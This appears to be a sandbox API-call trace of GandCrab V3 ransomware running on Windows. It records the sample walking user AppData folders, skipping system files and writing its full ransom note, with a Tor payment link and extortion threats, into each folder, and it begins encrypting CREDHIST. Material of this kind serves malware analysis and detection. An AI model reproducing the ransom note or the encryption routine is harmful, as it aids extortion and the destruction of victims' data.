	[0112.307] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0112.307] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0112.307] CloseHandle (hObject=0x3f0) returned 1
	[0112.308] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.308] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\") returned 59
	[0112.308] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\*"
	[0112.308] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xda7370
	[0112.308] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0112.308] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0112.308] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0112.308] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0112.308] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0112.308] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0112.308] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0112.308] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\CRAB-DECRYPT.txt"
	[0112.308] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.309] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\CRAB-DECRYPT.txt") returned 75
	[0112.309] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\CRAB-DECRYPT.txt") returned 75
	[0112.309] lstrlenW (lpString=".txt") returned 4
	[0112.309] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.309] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0112.309] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.309] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\CRAB-DECRYPT.txt") returned 75
	[0112.309] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\CRAB-DECRYPT.txt") returned 75
	[0112.309] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0112.309] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0112.309] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0112.309] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0112.309] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0112.310] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0112.310] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0112.310] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0112.310] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0112.310] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.310] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0112.310] FindClose (in: hFindFile=0xda7370 | out: hFindFile=0xda7370) returned 1
	[0112.310] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0112.310] lstrcmpW (lpString1="Proof", lpString2=".") returned 1
	[0112.310] lstrcmpW (lpString1="Proof", lpString2="..") returned 1
	[0112.310] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Proof" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof"
	[0112.310] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\"
	[0112.310] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.310] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0112.311] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0112.311] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0112.311] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0112.311] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.311] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0112.311] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0112.311] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0112.311] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0112.311] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0112.311] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0112.311] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.311] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\\\CRAB-DECRYPT.txt") returned 71
	[0112.311] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\proof\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0112.315] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0112.315] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0112.316] CloseHandle (hObject=0x3f0) returned 1
	[0112.316] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.316] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\") returned 54
	[0112.316] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\*"
	[0112.316] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xda7370
	[0112.317] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0112.317] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0112.317] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0112.317] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0112.317] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0112.317] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0112.317] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0112.317] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\CRAB-DECRYPT.txt"
	[0112.317] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.317] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\CRAB-DECRYPT.txt") returned 70
	[0112.317] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\CRAB-DECRYPT.txt") returned 70
	[0112.317] lstrlenW (lpString=".txt") returned 4
	[0112.317] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.317] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0112.317] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.318] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\CRAB-DECRYPT.txt") returned 70
	[0112.318] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\CRAB-DECRYPT.txt") returned 70
	[0112.318] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0112.318] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0112.318] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0112.318] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0112.318] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0112.318] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0112.318] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0112.318] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0112.318] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0112.318] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.318] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0112.318] FindClose (in: hFindFile=0xda7370 | out: hFindFile=0xda7370) returned 1
	[0112.318] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0112.318] lstrcmpW (lpString1="Protect", lpString2=".") returned 1
	[0112.319] lstrcmpW (lpString1="Protect", lpString2="..") returned 1
	[0112.319] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Protect" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect"
	[0112.319] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\"
	[0112.319] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.319] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0112.319] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0112.319] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0112.319] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0112.319] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.319] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0112.319] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0112.319] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0112.319] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0112.319] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0112.319] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0112.319] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.320] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\\\CRAB-DECRYPT.txt") returned 73
	[0112.320] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0112.328] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0112.328] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0112.329] CloseHandle (hObject=0x3f0) returned 1
	[0112.329] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.329] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\") returned 56
	[0112.329] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\*"
	[0112.330] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xda7370
	[0112.330] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0112.330] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0112.330] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0112.330] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0112.330] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0112.330] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0112.330] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0112.330] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CRAB-DECRYPT.txt"
	[0112.330] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.330] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CRAB-DECRYPT.txt") returned 72
	[0112.330] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CRAB-DECRYPT.txt") returned 72
	[0112.330] lstrlenW (lpString=".txt") returned 4
	[0112.330] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.331] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0112.331] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.331] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CRAB-DECRYPT.txt") returned 72
	[0112.331] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CRAB-DECRYPT.txt") returned 72
	[0112.331] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0112.331] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0112.331] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0112.331] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0112.331] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0112.331] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0112.331] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0112.331] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0112.331] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0112.331] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.331] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0112.331] lstrcmpW (lpString1="CREDHIST", lpString2=".") returned 1
	[0112.332] lstrcmpW (lpString1="CREDHIST", lpString2="..") returned 1
	[0112.332] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="CREDHIST" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST"
	[0112.332] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.332] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST") returned 64
	[0112.332] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST") returned 64
	[0112.332] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST") returned 64
	[0112.332] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST") returned 64
	[0112.332] lstrcmpiW (lpString1="CREDHIST", lpString2="desktop.ini") returned -1
	[0112.332] lstrcmpiW (lpString1="CREDHIST", lpString2="autorun.inf") returned 1
	[0112.332] lstrcmpiW (lpString1="CREDHIST", lpString2="ntuser.dat") returned -1
	[0112.332] lstrcmpiW (lpString1="CREDHIST", lpString2="iconcache.db") returned -1
	[0112.332] lstrcmpiW (lpString1="CREDHIST", lpString2="bootsect.bak") returned 1
	[0112.332] lstrcmpiW (lpString1="CREDHIST", lpString2="boot.ini") returned 1
	[0112.332] lstrcmpiW (lpString1="CREDHIST", lpString2="ntuser.dat.log") returned -1
	[0112.332] lstrcmpiW (lpString1="CREDHIST", lpString2="thumbs.db") returned -1
	[0112.332] lstrcmpiW (lpString1="CREDHIST", lpString2="CRAB-DECRYPT.txt") returned 1
	[0112.332] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.332] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST.CRAB") returned 69
	[0112.333] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\credhist")) returned 0x26
	[0112.333] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST", dwFileAttributes=0x26) returned 1
